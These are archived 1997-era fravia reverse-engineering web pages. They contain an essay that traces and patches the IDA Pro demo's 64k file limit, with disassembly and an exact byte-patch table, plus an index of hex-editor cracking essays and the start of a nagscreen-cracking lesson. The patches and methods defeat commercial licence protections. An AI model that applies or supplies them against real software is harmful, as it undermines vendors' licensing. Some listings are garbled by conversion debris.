the DATA segment but only part of the CODE segment is read. This can
be verified if you load ida.wll into ida and jump to address 408A00.
At exactly that address, the code cuts off and you get question marks
instead of data/code.

Now, there are two ways to proceed. The quick and easy way versus the
methodical way. I naturally first opted for the quick and easy way
which is to search through the w32dasm listing for 0000FFFF and'ed
with something else (searching for ",{space}0000FFFF" is a

http://www.instinct.org/fravia/quine1.htm (5 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

sufficiently narrow choice). This, I assumed, was what the program


did to prevent longer files from being read. While I found some
places where there were such and instructions, nothing panned out. I
won't bore you with the mess I created fiddling around with code in
these sections. IDA is designed to disassemble 16 bit programs as
well as others, so 64k is relevant to it for many other reasons than
the protection scheme (the length of a segment in 16 bit mode is 64k),
so there are a lot of 64k red herrings in the program. Well, the
quick and easy way wasn't quick or easy and didn't work. I'm
impatient (a bad quality in a cracker), but it's always better to try
to understand what the code is doing, rather than trying to get lucky.
If you're methodical, the luck will find you. Time for SoftICE.

The strategy now is to set a breakpoint in SI at the ReadFile call,


with the condition that the 3rd parameter be equal to 7A00 (otherwise
we'd have to wade through the hundreds of other 200 byte calls). This
can be done with the following command:

bpx 4316DC if *(esp+8)==7a00

Load idaw.exe into SoftICE, set the breakpoint, and load ida.wll into
IDA. When the bp hits, we need to trace the 7A00 back until we find
the point at which it was changed from 87A00. This will be done by
unwinding the stack within softice, which I will explain as we go
along.

So, the breakpoint has hit and we're sitting in a function which
begins at 4316AC. Looking at the code, we know that 7A00 came into
this function as the third argument passed on the stack --- [ebp+10]
(see the Appendix to this article for a discussion of parameter
passing in C and C++ programs). The strategy is to find the function
that called the one we're in and figure out where it got the value
7A00 that it passed to the function we're in. We continue to apply
this method, walking back through the call stack until we find out how
87A00 got to be 7A00. Here's how it works.

Use the command dd esp to display the memory at the top of the stack.
The first address within the program's code starting from the stack
top and going forward (i.e., higher) in memory is the return address
for the call to the function we're in. Disassemble from that address
and scroll up a little. Directly above the address from which you
disassembled you'll see the call instruction. So, 4316AC was called
by the function at 43088C:

:004308CD 8B4D10 mov ecx, dword ptr [ebp+10] ; 3rd arg passed to this
; func == 7A00
:004308D0 51 push ecx ; arg3 to 004316AC
:004308D1 50 push eax ; arg2 to 004316AC
:004308D2 8B4508 mov eax, dword ptr [ebp+08]
:004308D5 50 push eax ; arg1 to 004316AC
:004308D6 E8D10D0000 call 004316AC

From this code we see that 7A00 came in as the 3 rd argument passed to
43088C. So, who called 43088C. Look a little further up the stack
(which you should keep in the SoftICE data window) to find a call at

http://www.instinct.org/fravia/quine1.htm (6 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

42EB4C, which is in the function that starts at 42EAD4. Keep


following the same stack tracing method until you hit a call at 43A395
to a function at 42EC04 (it should only be 2 more steps). 43A395 is
in the function that starts at 43A314 and this where we hit pay-dirt.
I have included almost the entire function below because what
happens here is very interesting. I've commented many of the lines
and will also refer to the code as I continue. At 43A389, we notice
that the local variable [ebp-18] is passed as the relevant argument
to 43088C.
Therefore, it contains 7A00. Let's trace backwards from 43A389 and
see how [ebp-18] gets its value. It comes in through the cx register,
which of course can only hold a 16 bit (i.e., <=64k) value. There's the key to our
problem. One more trace back up the stack will take us to the conversion from 87A00
to 7A00. We find the call to 43A314 at 48A836 and looking at the code
"fragment.class" tppabs="http://fravia.org/fragment.class" immediately below we can
see where the conversion occurs: :0043A822 8BD7 mov edx, edi :0043A824 8BC3 mov eax,
ebx :0043A826 E885FFFFFF call 0043A7B0 :0043A82B 53 push ebx ;="=" start addr of
segment="=" 401000 :0043A82C 8BCF mov ecx, edi ;="=" end addr of segment="=" 488A00
:0043A82E 662BCB sub cx, bx ;="=seg" length="=" 7A00 this is our bad guy :0043A831
8BD6 mov edx, esi :0043A833 8B45FC mov eax, dword ptr [ebp-04] :0043A836 E8D9FAFFFF
call 0043A314 ; cx and edx are passed to this func Now we have to figure out how to
crack it. That means we've got to change a 16 bit data type into a 32 bit data type
in the functions at 48A804 and 48A314. In 48A804 it's not so hard. sub cx, bx needs
to be sub ecx, ebx. This can be done by changing 66 to 90 (nop) at 43A82E. 66 is the
opcode prefix representing an operand size override. A brief digression
Intel chips can operate in 32 bit or 16 bit mode.
Win32 programs run in 32 bit mode and therefore default to accessing
the 32 bit registers and 32 bit memory operands.
However, an instruction in 32 bit mode with the operand size override
prefix accesses 16 bit registers and 16 bit memory operands.
End digression.
So, changing 66 to a nop (90) switches the instruction
back to accessing 32 bit registering. This strategy is very useful
for 48A314 as well. Turning our attention to that function, however,
we see that things are much more complicated. The instruction at
43A31D has an opsize prefix, but it accessing a memory location
([ebp-06]) as well as a register. We're going to need 2 more bytes of
memory from sonewhere. [ebp-06] is a local variable and we can't have
it writing over other local variables. So, let's lay out the local
variables on the stack for this function:

ebp : prev ebp


ebp-04 : local_1 (4 bytes)
ebp-06 : our little friend, local_2 (2 bytes)
ebp-0C : 10000 (see function code below) (4 bytes)
and so on.

ebp-0C is a dword pointer and therefore only takes up 4 bytes. It


stops at ebp-08. What is there at ebp-08? [ebp-08] is never
referenced in the function, so it looks like there's nothing there.
Guess what we're going to put there, though? You got it, the rest of
the segment length. This can be done by changing all the references
to ebp-06 to ebp-08. So, our instruction at 43A31D needs to change
from:

http://www.instinct.org/fravia/quine1.htm (7 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

:0043A31D 66894DFA mov word ptr [ebp-06], cx

to:

:0043A31D 90 nop
:0043A31E 894DF8 mov dword ptr [ebp-08], ecx

Removing the 66 takes care of changing cx to ecx and word ptr to dword
ptr, while changing FA to F8 changes the ebp offset. The same
strategy can be applied at 43A35E, 43A3ED, and 43A414. The
instructions at 43A369 and 43A377 also need to be changed. Movzx
means move with sign extended and is used for moving smalling operands
into larger operands while preserving the sign. We want to change
these to simple move instructions, moving our new 32 bit local
variable into a 32 bit register. This can be done fairly easily:

:0043A369 0FB745FA movzx eax, word ptr [ebp-06]


:0043A377 0FB755FA movzx edx, word ptr [ebp-06]

becomes

:0043A369 908B45F8 (nop) mov eax, dword ptr [ebp-08]


:0043A377 908B55F8 (nop) mov edx, dword ptr [ebp-08]

That takes care of all the instances of our local variable, but we're
not done. At first, it looks like [ebp-0C] is doing some dirty work
here. It gets assigned 10000, which is then compared with the # of
bytes to read. If the number of bytes is bigger, then only 10000
bytes are read. It looks for all the world like part of the
protection scheme, but it isn't. If, after having applied the patches
I've mentioned so far, you force the jump at 43A370, the program
crashes. What ebp-0C does is simply make sure that the prog is
reading only 64k at a time. Notice that most of the function is a
loop that reads 64k chunks until it's read everything it needs to.
Another 64k red herring. However, the instruction at 43A324 needs to
be changed. Remember that edx contains the start address of the
segment. For the code segment, this is less than 64k (i.e., 600), but
for the data segment it's > 64k. I missed this instruction at first
and ended up with a very frustrating problem. The patches I've
described so far work, but IDA was lining up the data segment in
entirely the wrong place. I spent hours looking for some alternate
protection scheme, before I came back and realized what I had missed.
43A324 was the culprit, so that needs to be patched in the same manner
as 43A369 and 43A377.

That's it. No more 64k boundary and all files are disassembled
properly.

IV. Reflections on the protection scheme

At first, I thought that this must have been done in assembly.


Operand override prefixes seemed pretty arcane. However, it was odd
to leave that 2 byte whole in the stack. If you're programming in
assembly, why do that? Of course, even if that whole hadn't been
there, we could have simply added space for a local variable (see the

http://www.instinct.org/fravia/quine1.htm (8 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

Appendix). Upon further reflection, I realized what the programmer


did and he did it in C/C++. The function at 43A314 was changed from
taking a long int argument to taking a short int argument and the
argument passed to it at 43A804 was cast from a long int to a short
int. Two tiny changes in the source code produced exactly this effect
(changes, of course, from the real, unlimited version of the program).
The 2 bytes we needed on the stack were there because all compilers
align 32bit values on dword boundaries and the other surrounding local
variable were 32 bit. Furthermore, when you run ida.wll through the
cracked IDA you see that the call at 0043A395 to 43EC04 is actually a
call to the Borland C library routine _fread (read from file). Why
are some of the arguments to 43A314 passed through registers instead
of on the stack? See the description of the _fastcall calling
convention in the Appendix. All in all, however, this is an
interesting protection scheme, and certainly not of a kind that I have
ever heard of before. Now all we need to do is get those idb files
loaded and produce asm and lst files (I think the code is in there,
it's just a matter of getting to it).

V. The Expiration Date

This crack is utterly trivial. The code that checks the date is
immediately after the test for 64k files at the beginning of the
program. I'll leave this crack as a mindless exercise.

VI. Summary of the patch

:00403CED 760B jbe 00403CFA (change 76 to EB)


:0043A82E 662BCB sub cx, bx (change 66 to 90)
:0043A31D 66894DFA mov word ptr [ebp-06], cx (change to 90894DF8)
:0043A324 0FB7C2 movzx eax, dx (change to 908BC2)
:0043A35E 66837DFA00 cmp word ptr [ebp-06], 0000 (change to 90837DF800)
:0043A369 0FB745FA movzx eax, word ptr [ebp-06] (change to 908B45F8)
:0043A377 0FB755FA movzx edx, word ptr [ebp-06] (change to 908B55F8)
:0043A3ED 66295DFA sub word ptr [ebp-06], bx (change to 90295DF8)
:0043A414 66837DFA00 cmp word ptr [ebp-06], 0000 (change to 90837DF800)

VII. The function at 43A314

:0043A314 55 push ebp


:0043A315 8BEC mov ebp, esp
:0043A317 83C4E0 add esp, FFFFFFE0
:0043A31A 53 push ebx
:0043A31B 56 push esi
:0043A31C 57 push edi
:0043A31D 66894DFA mov word ptr [ebp-06], cx ; here we go!
; 7A00 is passed through cx (a 16bit register-that's no good!)
:0043A321 8945FC mov dword ptr [ebp-04], eax
:0043A324 0FB7C2 movzx eax, dx ; what's this about?
; it's about hours of headache for me (see above)
:0043A327 8BD0 mov edx, eax
:0043A329 8B45FC mov eax, dword ptr [ebp-04]
:0043A32C 8B7D08 mov edi, dword ptr [ebp+08]
:0043A32F E83065FEFF call 00420864

http://www.instinct.org/fravia/quine1.htm (9 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

:0043A334 F60532EF490010 test byte ptr [0049EF32], 10


:0043A33B C745F400000100 mov [ebp-0C], 00010000 ; 64k?! is this relevant? NO
:0043A342 BA02000000 mov edx, 00000002
:0043A347 7501 jne 0043A34A
:0043A349 4A dec edx

|:0043A347(C)
|
:0043A34A 8955F0 mov dword ptr [ebp-10], edx
:0043A34D 8B4DF0 mov ecx, dword ptr [ebp-10]
:0043A350 0FAF4DF4 imul ecx, dword ptr [ebp-0C]
:0043A354 51 push ecx
:0043A355 E8028BFFFF call 00432E5C
:0043A35A 59 pop ecx
:0043A35B 8945EC mov dword ptr [ebp-14], eax
:0043A35E 66837DFA00 cmp word ptr [ebp-06], 0000 ; cmp 7A00, 0
:0043A363 0F86B6000000 jbe 0043A41F

|:0043A419(C)
|
:0043A369 0FB745FA movzx eax, word ptr [ebp-06] ; needs patching
:0043A36D 3B45F4 cmp eax, dword ptr [ebp-0C] ; [ebp-c]==10000
:0043A370 7605 jbe 0043A377
:0043A372 8B55F4 mov edx, dword ptr [ebp-0C]
:0043A375 EB04 jmp 0043A37B

|:0043A370(C)
|
:0043A377 0FB755FA movzx edx, word ptr [ebp-06] ; [ebp-06]==7A00

|:0043A375(U)
|
:0043A37B 8955E8 mov dword ptr [ebp-18], edx ;edx==7A00
:0043A37E 8BC7 mov eax, edi
:0043A380 E84B51FEFF call 0041F4D0
:0043A385 8B4DFC mov ecx, dword ptr [ebp-04]
:0043A388 51 push ecx
:0043A389 8B45E8 mov eax, dword ptr [ebp-18] ;==7A00
:0043A38C 50 push eax ; # of bytes to read
:0043A38D 8B55F0 mov edx, dword ptr [ebp-10]
:0043A390 52 push edx
:0043A391 8B4DEC mov ecx, dword ptr [ebp-14]
:0043A394 51 push ecx
:0043A395 E86A48FFFF call 0042EC04 ; this is the call that ends up
; at ReadFile and takes #of bytes
; to read as third arg

. . . . . some irrelevant code removed . . . . .

|:0043A3AF(C), :0043A3C8(U), :0043A3D4(C)


|
:0043A3ED 66295DFA sub word ptr [ebp-06], bx ; this needs patching
:0043A3F1 3B5DE8 cmp ebx, dword ptr [ebp-18]
:0043A3F4 7419 je 0043A40F
:0043A3F6 8B55EC mov edx, dword ptr [ebp-14]

http://www.instinct.org/fravia/quine1.htm (10 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

:0043A3F9 52 push edx


:0043A3FA E8F589FFFF call 00432DF4
:0043A3FF 59 pop ecx
:0043A400 68BE000000 push 000000BE ; message from ida.hlp:
; "Error during read, not all of file read"
:0043A405 E872640200 call 0046087C
:0043A40A 59 pop ecx
:0043A40B 33C0 xor eax, eax
:0043A40D EB1F jmp 0043A42E

|:0043A3F4(C)
|
:0043A40F E8D8FEFFFF call 0043A2EC
:0043A414 66837DFA00 cmp word ptr [ebp-06], 0000 ; needs patching
:0043A419 0F874AFFFFFF ja 0043A369

|:0043A363(C)
|
:0043A41F 8B55EC mov edx, dword ptr [ebp-14]
:0043A422 52 push edx
:0043A423 E8CC89FFFF call 00432DF4
:0043A428 59 pop ecx
:0043A429 B801000000 mov eax, 00000001

|:0043A40D(U)
|
:0043A42E 5F pop edi
:0043A42F 5E pop esi
:0043A430 5B pop ebx
:0043A431 8BE5 mov esp, ebp
:0043A433 5D pop ebp
:0043A434 C20400 ret 0004

APPENDIX: Stack frames and calling conventions

The most common way for a program to set up the stack during a
function call is to use the ebp register (the base register) to hold
the base of the stack relative to that function. An amount is then
subtracted from esp which represents the amount of space reserved for
local variables. This is done with the following code which is at the
beginning of most functions:

push ebp
mov ebp,esp
add esp, -10 (FFFFFFF0) ; 10 bytes for local variables

The funcion can then use positive offsets to ebp to reference


arguments and negative offsets to reference local variables.

For example:

loc1: push arg3


loc2: push arg2
loc3: push arg1

http://www.instinct.org/fravia/quine1.htm (11 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

loc4: call sub


loc5: mov [ebp-8], eax

proc sub
sub1: push ebp ; save ebp from calling function
sub2: mov ebp, esp ; set ebp to point at stack base for this
function
sub3: sub esp, 10 ; reserve 10 bytes for four local variables
sub4: mov eax, [ebp+8] ; move arg1 into eax
sub5: mov ecx, [ebp+C] ; move arg2 into ecx
sub6: mov edx, [ebp+10] ; move arg3 into edx
sub7: mov [ebp-4], eax ; move arg1 into local_1
sub8: mov [ebp-8], edx ; move arg3 into local_2
sub9: push [ebp+C] ; push arg2 onto stack

At sub1, the stack looks like this:

arg3 <-- esp-C arg2 <-- esp-8 arg1 <-- esp-4 loc5 <-- esp at sub4 it looks like
this: arg3 <-- ebp+10 arg2 <-- ebp+C arg1 <-- ebp+8 loc5 <-- the return address ebp
from calling function <-- current ebp local_1 <-- ebp-4 local_2 <-- ebp-8 local_3 <--
ebp-C local_4 <-- ebp-10 <-- esp Things are not always this pretty, unfortunately.
There are three factors that can disrupt this happy picture. 1. Stack frame
optimization 2. Alternate calling conventions 3. Enregistered local variables 1. Most
compilers these days (certainly M$ VC++ and Borland C++) have an optimization setting
that allows you to turn off ebp based stack frames. This makes the function overhead
smaller and frees up the ebp register for other uses. The function still references
arguments and local variables off the stack, but the ebp register doesn't point to
the function's stack base. Instead, esp is used to reference the srguments and
locals. The problem is that every time something is pushed onto or popped off of the
stack, the value of esp changes. The compiler is able to compensate for this by
adjusting the amount esp is offset when referencing the arguments and locals. Here's
an example: sub1: mov eax, [esp+4] ; mov arg1 into eax sub2: push ebx ; push ebx onto
the stack for whatever reason sub3: mov edx, [esp+8] ; move arg1 into edx---the
offset has changed ; because we pushed ebx onto the stack at sub2 This is annoying
because it makes much harder for things that aren't compilers (like us) to keep track
of what's getting referenced where. The nice thing about IDA Pro is that marks all
these references for you! That's why it *must* be cracked. 2. A calling convention
determines the order in which arguments are passed and how they are passed. The two
most common calling convention are the Pascal and C calling conventions, which
fravia+ has explained quite well elsewhere. However, there are two other conventions,
which pass arguments through registers, that are worth being aware of. The first is
the _thiscall convention, which follows the C calling convention, but also passes a
pointer to the object this (in C++, this refers to the current object) through
register ecx. The second is the _fastcall convention, which passes the first two
arguments that are 32 bits or less through registers ecx and edx, and then passes the
rest of the arguments on the stack with the C calling order. 3. Local variables are
not always stored on the stack after the return address. For optimization purposes
(it's much faster to get a value from a register than from memory), registers are
sometimes used to hold local variables. Of course, there being a limited number of
general registers in Intel chips (RISC chips can have 5-10 times as many registers)
this can only be true to a limited extent. Furthermore, the compiler has to use some
registers as what are called scratch registers (i.e., places to temporarily hold
values) while it moves values in and out of memory. Detecting enregistered local
variables can be difficult.

http://www.instinct.org/fravia/quine1.htm (12 of 13) [2/7/2001 3:06:57 PM]


quine1.htm

And you better don't joke with this request of Quine either, because I'll find out if you do.

fravia+,

I was wondering if you could add to my essay(s) the note that I


would very much like for no one to release the cracks to IDA as crack
programs (those vulgar little .com files) on the web or for anyone to
publish the cracks without the full essay. I have too much respect
for the author of the program to have the demo crack tossed about the
web for people who are not serious about reverse engineering. He has
written such a beautiful program that those of us who really cannot
afford to buy it ought to -at least- earn the right to use it.

Thanks,
Quine
(c) Quine 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Advanced Cracking Back to Project 1

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/quine1.htm (13 of 13) [2/7/2001 3:06:57 PM]


project1

Reverse engineering Academy


Project 1
~

Hexeditors reverse engineering


(and other tools of the trade)
Binary editors
Binary editors are usually refered to as a hexeditors. The main difference between a regular texteditor and a
hexeditor is that a texteditor translates some bytes to tabs, linefeeds, carriage returns, etc or simply ignores them.
A hexeditor does no such thing, instead it prints the hexadecimal value of the byte. Most hexeditors have a
textfield as well, where you'll see all sorts of funny-looking faces and arrows.

We have decided to include in this project also all other essays related to important "tools of the trade", like IDA:
Interactive disassembler, the most powerful disassembler around now (with its version 3.7).
IDA is an 'official +HCU tool' 1997!

Official +HCU tool


A very important project... hexeditors are the swiss knifes that we continuously use... +ORC seems to prefer good
old psedit, and even if we still use it a lot, we use more and more hexworkshop, (cannot be wrong: version 2.1
has been cracked by +ORC himself in his lesson 9.3... as he explained the "dead listing" approach).

The +HCU has received various essays about hexeditors reverse engineering, and about other important tools
for our trade... here are the best ones, stay tuned for more!
Project started 17 August 1997
PHASE 1 by Heres:

How to register HexWorkshop v2.52 (32bit), 03 June 1997


(the HEXWORKS.REG trick) - (heres1.htm: FVP01F01)
PHASE 2 by Aesculapius:

Hex Workshop 32 v. 2.53, 05 July 1997


(A weak protection scheme is worst than no protection scheme at all) - (aescul3.htm: FVP01F02)

PHASE 3 by +daQ:

http://www.instinct.org/fravia/project1.htm (1 of 6) [2/7/2001 3:07:05 PM]


project1

Hexpert32, Version 3.0.05, 06 August 1997


(Cracking the tools of the trade) - (daqtod.htm: FVP01F03)
PHASE 4 by x86:

Cracking HEdit 2.0, 19 August 1997


(using wdasm as a debugger) - (x861.htm: FVP01F04)
With an addition! 20 August 1997!
With an addition by itzMagik1, 4 January 1998
Cracking HEdit version 2.1.11
PHASE 5 by Aesculapius:

ULTRAEDIT-32 V. 4.40a, 21 August 1997


(Slight Variations of the Serial Number-based protection scheme) - (ueditcrk.htm: FVP01F05)
PHASE 6 by ReZiDeNt:

Reverse Engineering UltraEdit-32 4.40a, 22 August 1997


(Cracking "blacklisted" Hex/Text Editors) - (reziedi1.htm: FVP01F06)
Well two authors reverse engineering the same protection scheme on the same target at a day distance! Quite
interesting isn't it? Read what Rezident and Aesculapius wrote each other here!
PHASE 7 by Quine:

Cracking THE tool of the trade (bye bye Wdasm), 19 October 1997
(Interactive Disassembler Pro v3.7) - (quine1.htm: FVP01F07)

Advanced cracking series

Well, this is SERIOUS ADVANCED CRACKING. You better read and UNDERSTAND each point of this
beautiful essay by Quine, which shines methodologically and has a relevance that encompasses almost all fields
of our trade. There are things inside here, like patching pointers and Boundchecker API-intercepting, wich
clearly are NOT FOR NEWBYES, and the whole essay is GOLD worth for all serious reverse engineers. This
essay has been added to the +HCU didactic material (pending Quine's authorization) and will from now on be
distributed to all +HCUkers that begin the courses together with the other main files
PHASE 8 by Frog's Print:

SOURCER 7, 29 October 1997


(efficiency of a well positioned BPINT under DOS) - (sourcer7.htm: FVP01F08)

Advanced cracking series

Well, back to DOS! Was about time! Contrarly to what some still choose to believe, dos reversing is far from
being an obsolete activity: many very important programs are working under DOS, because Windoze simply does

http://www.instinct.org/fravia/project1.htm (2 of 6) [2/7/2001 3:07:05 PM]


project1

not give enough power, and as +ORC told us long ago in his tut, many of the older DOS protections are much
more tougher and interesting than the banal cmp eax, 1 tricks inside "compiled" windoze targets...
There is another very nice lesson teached here by Frog's Pint: let's not be lazy! Almost anyone uses a "ready
cracked" (read "stolen") Sourcer 7 version which comes with a pirated serial number inside it: the whole Web is
polluted with all pirated versions of this important tool, and noone seems to care about the only thing that is
really fascinating in our opinion: how to reverse this reverser program 'par excellence'. And Frog's Print does
exactly this, and he writes:
As we are crackers, let's throw away this serial number and crack Sourcer 7.0
Right! And if you add to these 'strategic' thoughts the whole cursor bpinting, you'll agree with me that this essay
deserves to be posistioned among the prestigious "Advanced cracking series". Enjoy!
PHASE 9 by Quine:

Interactive Disassembler Pro v3.7 Demo (II), 30 October 1997


(How to load the previous databases) - (quine_21.htm: FVP01F09)

Advanced cracking series

Well, this is SERIOUS ADVANCED CRACKING once more. Once more a fundamental tool of the trade (IDA).
Once more a function reenabling work (the loading of the previous databases, i.e. one of the most important
crippled functions of the crippled version: you do not want to start everything anew every time you use IDA, do
you?). Once more something we all need: new knowledge that you can at once apply to other targets and reverse
engineering endeavours.
Quine is getting us used to this kind of well-crafted essays. I'm afraid newbyes will not understand much here,
please read the 'basic' essays first, and peruse the other +HCU page (where you'll find a lot of help for newbyes)
before delving in this.
This said, here you have a real reverse engineering essay in all its glory... enjoy!
PHASE A by Aesculapius:

ULTRAEDIT 5.00 S/N Generator, 24 November 1997


(a very funny dynamic addressing process as copy procedure) - (aescune1.htm: FVP01F0A)

This good tool is everywhere to have, regged, for free. I think therefore that Aesculapius work, far from
damaging him, can actually be USEFUL to Ultraedit's Author Ian Mead... here is the point he should take care
of:
however, the program still has to read the registration file to
gather its initiation values, so a bpx on readfile should be enough to find
a fairly close entry point to it
Learn here from Aesculapius how this protection scheme works. It's interesting and the keygenerator in asm at
the bottom can easily be modified for other targets. If you crack Ultraedit register it after 45 days, it deserves it
(IMHO). Enjoy!
PHASE B by Little-John:

winrar 95 ver.2.0: the guts of a simple protection, 04 January 1998


(why keygenerating when you can patch them on the fly?) - (littlejo2.htm: FVP01F0B)

http://www.instinct.org/fravia/project1.htm (3 of 6) [2/7/2001 3:07:05 PM]


project1

Well, an interesting little essay which deals with an utility by Eugene Roshal that is in my opinion injustely
underestimated. Winrar should by all means be on your desktop: it has, on mine, taken the place of my Winzip
6.2 (it deals without problems with all zipped files as well), and that for many reasons, the more important one is
that RARed archives are SMALLER than pkzipped archives!
No, I'm not speaking of the solid archive option (you don't know what 'solid' archiving is? Go and study winrar),
I'm speaking of a normal, default rar archive: it's smaller than a zip!
I know that many don't even know it, and I myself am still compelled to use the zip format when I dump something
on the web 'because everybody zips'. Yet I myself, for myself, on my own harddisks, use only RAR, because with
the monstruous overbloated programs we are dealing with 'every spared byte counts'... and you'll spare a lot of
bytes in comparison with zipped files if you rar. You still don't believe me? Well, read, enjoy and then go and
download winrar... you'll be surprised seeing how GOOD this tool is.!
The essays of +HCU's project 1 will continue after Quine's explanations about IDA.

Some explanations on IDA, by Quine, 6 November 1997


Dear fravia+,

I'm very pleased to see people using IDA. I really, you know,
think of it as a dear friend now (I know this sounds sick :-). Just
thought I'd clear up a few points from Snatch's and zeezee's essays.

From Snatch's essay:

The 'aThelab' that Snatch finds is the name of a location in the


data section, a location that contains the ASCII string "The lab....".
Just double click on 'aThelab' and you'll jump right there. I was a
little confused by your reference to Smartcheck regarding this.
Anyway, IDA names every location that it can in the data section (and
everywhere else for that matter) and it uses the 'a'+beginning of
string for ASCII strings. Admittedly, it does not have that nice
dialog box that w32dasm has that lists all the strings (or are they
ALL the strings in w32dasm? No! Just the ones directly referenced in
the code), but zeezee's Alt-B searches work just fine.

From zeezee's essay:

Zeezee has obviously spent some time with IDA and all of his tips
are quite sound. Just as a matter of style, I prefer to keep the
crossrefernces at about 10 -- you can always use
View-->Crossreferences to see the rest. This keeps screen clutter
down. IDA's 'automagically' finding the names is of course its
library recognition function (one of its MOST powerful features).
Keep in mind that there may be more names to be found than what it
automatically does. Often, at the beginning of the status window it
recommends optional libraries to check for. Most commonly if yuo have

http://www.instinct.org/fravia/project1.htm (4 of 6) [2/7/2001 3:07:05 PM]


project1

a M$ compiled file, it is poosible that it uses MFC linked statically


(ie, not in a dll). IDA cannot always be sure of this, so try
applying the MFC library recognition (View-->Signatures). You'll be
amazed at the wealth of information.
Regarding IDA's weaknesses, yes the help is a little cumbersome,
but as zeezee says, it is all there. The resource problem is a
problem, but only temporarily. Look at the file resource.idc in the
idc directory (in fact, look at and study everything in that
directory). It is a file for sorting out resources in NE files (a
remnant of the horrible days of Win16-- among other things the ugliest
OS ever). What needs to be done is someone needs to write a really
idc script/macro/program to sort out PE resources. I have plans to do
this, but who knows when that will happen. In general, people need to
study the idc language. Its power is amazing given that it's solely
done for IDA.

Oh, one last thing. Go through the ida.cfg file and above all
else, change the window size. Until I figured out how to do this, I
found IDA impossible to use. Make it big. I have mine set at 132x64.
Anyway, you need a big space to work in.

Hope this helps.

Quine

PHASE C by +Alt-F4:

Cracking Wingdis 2.12, 11 January 1998


(Preparing ourselves for 'real' Java cracking) - (altF4j_a.htm: FVP01F0C)

Well, Alt-F4 is an incredibly interesting +cracker that works a lot with Java, he's the Author of a
FONDAMENTAL essay for all java reversers: Cracking (black and blue) Java Workshop 2.0, a program that you
should by all means study and use ~ alternatively, you may have found on some CD-ROM for free Symantec
Visual caf trial version 1.0, and you could in that case enjoy A+heist's essay a very silly protection scheme on a
very interesting target
Therefore it suits us all A LOT that +ALT-F4 shows here the (incredibly simple) way to reverse the main Java
disassembler: Wingdis.
In fact, after the sad demise of the clever Author of the mocha disassembler (hope he'll enjoy some reversing
possibilities wherever he did land after having left us :-) Wingdis will be one of the main tools we all will have to
use in the next months
That said, we'll use Wingdis until our own +HCU '98 tools will be ready -at the moment they seem still "under
development" :-(
Anyway all these java essays are GOOD NEWS!
Java is coming! Die Gates die in flames, you horrible slimy bloated bane! Die die die with all your useless
overbloated applications! :-)
So I'm happy to host another fine "Java" +HCU essay, coming to you from mighty +ALT-F4 pen (and brain).
Enjoy!

http://www.instinct.org/fravia/project1.htm (5 of 6) [2/7/2001 3:07:05 PM]


project1

Hey buds! Feel free to reverse engineer whatever hexeditor or tool of the trade you can put your hands on,
even if it uses very stupid protection schemes!
(This is the only project where we'll in fact accept essays about stupid and boring protection schemes... yet,
please, try at least to find some other interesting "finding" inside the code of these targets if the protection
scheme is too stupid and too boring, else even a good tool wont be interesting for anyone :-)

homepage links anonymity +ORC students' essays academy database


tools counter measures cocktails antismut search_forms mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998. All rights reversed

http://www.instinct.org/fravia/project1.htm (6 of 6) [2/7/2001 3:07:05 PM]


Howto93

HOW TO CRACK, by +ORC, A TUTORIAL


Lesson 9 (3): How to crack Windows, Hands on
Nagscreens galore (B): The 'Dead listing' approach

[HEXWORKSHOP][PaintShopPro]

(Hic sunt tabulae: Best viewed with good old Courier 10)

In this lesson I'll teach you another cracking technique


known as "dead listing" approach, in opposition to the "live"
cracking (through Softice/Winice) that we have used (and we'll
use) most of the time.
Since this approach requires a good Hexeditor and a good
disassembler (and a good Wordprocessor), it suits us well to
begin the 'hands on' part cracking what we need: a good
Hexeditor.
I'll crack here the nagscreens out of Hexworkshop, Version
2.10 (32 bit version). A good and relatively quick (for Windoze's
standards) application by Breakpoint software. Many among you
will already have this hexeditor inside their Software
collection, if not find it on the Web through an Archie search
and download it through ftpmail... searching through the archies
will give you something like this:

Host ftp.loria.fr (152.81.10.10)


Last updated 11:25 23 Oct 1996
Location: /pub1/pc/win95/programr
FILE -r--r--r-- 707906 bytes 02:00 13 Aug 1995 hworks32.zip

The exact NAME of this hexediting program is HWORKS32.EXE, it is


524288 bytes LONG, and its DATED 2 February 1996. This program
has many little nag annoyances:
- shows a nagscreen reminding you how many days you have used
the program;
- keeps a nag_string "unregistered version" on the main screen
of the program;
- has, inside help, a "registration serial number form"...
this is the number you could get registering... and should digit
inside the HELP/ABOUT HEX WORKSHOP window form.

Elsewhere in this tutorial we have already learned how to

http://www.instinct.org/fravia/howto93.htm (1 of 24) [2/7/2001 3:07:25 PM]


Howto93

defeat this type of protection: through Winice breakpoints.


Basically we would type a fake registration number (say
'121212121212') and then look for the occurrences of our string
in memory, and then search and investigate the manipulations
undertaken by the protection scheme. In this way we would finally
be able to crack the nagscreen procedure.
Fine, fine... this would indeed work, but I want to teach
you through this lesson ANOTHER, completely different approach
to cracking, which is and will be especially useful for
'nagscreen' and 'time-limit' cracking... i.e. the "dead listing"
approach. This approach is a much more "relaxed" sort of crack,
which will work flawlessly most of the time.
This approach is particularly easy with Windows programs,
since -as I have already told you a hundred times- the modularity
of this overbloated atrocity makes it particularly easy for us
little crackers to track back the -mostly primitive- protection
methods utilized by the commercial programmers.
I remember older times, when programming was still an art
for intelligent (not mercantile) beings, cracking the old (and
sometime beautifully crafted) Z-80, CP/M and DOS programs. In
those time 'a byte was a byte'! And good programmers found funny
tricks in order to write 'tight' code. We old crackers used the
'dead listing' approach sitting (or snoozing) in pleasant (albeit
a little battered) armchairs, inside a huge university library,
drinking very good Martini Wodka (you would be well advised to
use only Moskowskaja, coz non Russian Wodkas are repugnant). Four
of us at a time, each one just looking at his paper listings. You
cannot imagine how many little (unrelated) tricks we found inside
the code cracking in that way! A hacker, a cracker (me), a 'real'
programmer and an encryption specialist, all four sitting in the
same room, exchanging pretty clever findings and sipping (much
too many) good cocktails... it's long ago, those times (and
societies) are gone for ever! Microsoft's abomination has
